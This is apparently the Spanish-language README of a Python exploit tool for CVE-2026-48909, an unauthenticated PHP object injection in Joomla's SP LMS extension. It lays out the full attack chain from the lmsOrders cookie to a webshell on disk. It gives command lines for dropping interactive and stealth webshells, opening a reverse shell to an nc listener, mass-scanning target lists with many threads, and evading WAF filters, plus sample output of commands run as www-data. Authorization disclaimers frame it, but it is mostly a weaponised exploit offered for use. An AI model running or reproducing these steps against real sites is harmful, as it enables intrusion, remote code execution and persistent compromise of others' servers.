[!IMPORTANT]
Solo para uso autorizado. Esta herramienta está destinada a la investigación de seguridad, educación y pruebas en sistemas que poseas o para los cuales tengas permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el uso indebido.
Table of Contents
Overview
CVE-2026-48909 es una inyección de objetos PHP no autenticada crítica en la extensión SP LMS de Joomla. Esta herramienta implementa la cadena de ataque completa para que los profesionales de seguridad puedan validar el impacto en entornos de laboratorio o autorizados.
Cubre detección, descubrimiento de rutas, entrega de payloads, post-explotación interactiva (donde esté permitido), evaluación masiva y limpieza opcional.
Vulnerability Details
Matriz de Compatibilidad
Features
Principal
| Capacidad | Descripción |
|---|
| Explotación no autenticada | No se requieren credenciales |
Evaluación y Operaciones
Notas de Evasión
- Evita caracteres bloqueados por el filtro
cmd de Joomla cuando es posible
- Ruta de escritura PHP en hexadecimal para reducir problemas con padding de base64 y barras
- Retrasos configurables y rotación de User-Agents
- Lógica de reintento entre múltiples candidatos de inyección/ruta
Installation
Prerrequisitos
- Python 3.6+
pip
- Acceso de red al objetivo(s) bajo prueba
Configuración
cd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
Dependencias
requests>=2.31.0
urllib3>=2.0.0
argparse viene incluido en la biblioteca estándar de Python; no es necesario instalarlo mediante pip.
Quick Start
Reemplaza https://target.example con un objetivo de laboratorio o autorizado únicamente.
Objetivo único — descubrir ruta + shell interactivo
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
Verificaciones seguras (sin explotación)
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
Escaneo masivo
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
Reverse shell (laboratorio autorizado)
# Listener
nc -lvnp 4444
# Host de explotación
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
Usage Guide
Descubrimiento de rutas
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
Ruta escribible conocida
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
Sesión interactiva
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
Comando único
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
Payload sigiloso + interactivo
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
Proxy (Burp / ZAP)
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
Limpieza
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
Command Reference
Objetivo
Red
Reverse shell
| Argumento | Descripción |
|---|
--reverse-host HOST | Host del listener |
--reverse-port PORT | Puerto del listener |
Modos
Registro (logging)
Payload Types
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
--reverse-host 10.0.0.1 --reverse-port 4444 --find-path
Attack Chain
flowchart TD
A["Attacker-controlled lmsOrders cookie"] --> B["unserialize() in cart.php"]
B --> C["FormattedtextLogger::__destruct()"]
C --> D["File::write() — PHP drop"]
D --> E["Webshell on disk"]
E --> F["Remote command execution"]
Resumen técnico
- Sink —
components/com_splms/models/cart.php deserializa una cookie lmsOrders decodificada en base64.
- Gadget —
Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct() desencadena una escritura en el sistema de archivos.
- Payload — Cuerpo PHP codificado en hexadecimal, relleno de longitud para evitar caracteres base64 filtrados (
/, =, +).
- Ejecución — Se solicita el script depositado para ejecutar comandos del sistema operativo.
Bypass del filtro de entrada (alto nivel)
El filtro cmd de Joomla puede eliminar /, = y +. Esta herramienta lo compensa:
- Codificando el contenido de escritura como hexadecimal
- Rellenando las formas serializadas/base64 para evitar caracteres ilegales
- Iterando candidatos hasta producir un payload seguro para el filtro
Output Examples
Sesión interactiva
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> whoami
www-data
shell> pwd
/var/www/html
shell> exit
{
"timestamp": "2026-07-16T10:30:00.123456",
"target": "https://lab.example",
"shell_path": "/tmp/x_abc123def.php",
"shell_url": "https://lab.example/tmp/x_abc123def.php",
"shell_type": "standard",
"vulnerable": true,
"exploited": true,
"joomla_version": "4.3.2",
"detected_paths": [
"/tmp/x_abc123def.php",
"/images/x_abc123def.php",
"/cache/x_abc123def.php"
],
"author": "Sudeepa Wanigarathna",
"tool_version": "3.0"
}
Comando único
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
Troubleshooting
Flujo de depuración
# Verboso + archivo de registro
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log
# A través de Burp
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
--proxy http://127.0.0.1:8080 --insecure -v
# Primero no destructivo
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
Repository Layout
exploit/
├── CVE-2026-48909 v3.0.py # Herramienta principal (v3.0)
├── requirements.txt # Dependencias de Python
├── README.md # Este archivo
└── venv/ # Virtualenv local (opcional, no se incluye en el repositorio)
Adiciones opcionales para una publicación pública:
targets.txt.example
docs/technical-details.md
examples/basic-exploit.sh
examples/mass-scan.sh
Version History
v3.0.0 — Edición Definitiva (Julio 2026)
- Escaneo masivo con hilos
- Soporte de proxy HTTP/SOCKS
- Payloads de reverse shell
- Ayudas de evasión orientadas a WAF
- Shell sigiloso interactivo
- Opciones de limpieza automática
- Informes en JSON / HTML / CSV
- Lista extendida de rutas escribibles
- Asistencias de detección de versión de Joomla
- Modo seguro y rotación de User-Agent
- Retardos configurables entre peticiones
v2.1 — Edición Profesional (Julio 2026)
- Correcciones en la generación de payloads
- Manejo de errores y registro más robusto
Disclaimer
Este proyecto se proporciona tal cual para investigación defensiva de seguridad y pruebas de penetración autorizadas.
Al usar este software, aceptas que:
- Solo atacarás sistemas que poseas o para los cuales tengas autorización explícita de prueba.
- Entiendes las leyes aplicables sobre abuso informático y protección de datos.
- El autor y los colaboradores no son responsables por daños, pérdida de datos o consecuencias legales derivadas del uso indebido.
Si descubres esta vulnerabilidad en un entorno real, sigue las prácticas de divulgación responsable y coordina con el proveedor / CERT según corresponda.
Author
Sudeepa Wanigarathna
Investigador de seguridad · Hacking ético · Investigación de vulnerabilidades · Herramientas Python
Support
- Dale estrella al repositorio si te ayuda en tu investigación
- Abre issues para errores o falsos positivos
- Las PR son bienvenidas para documentación, precisión de detección y UX en laboratorios autorizados
Solo para pruebas de seguridad autorizadas.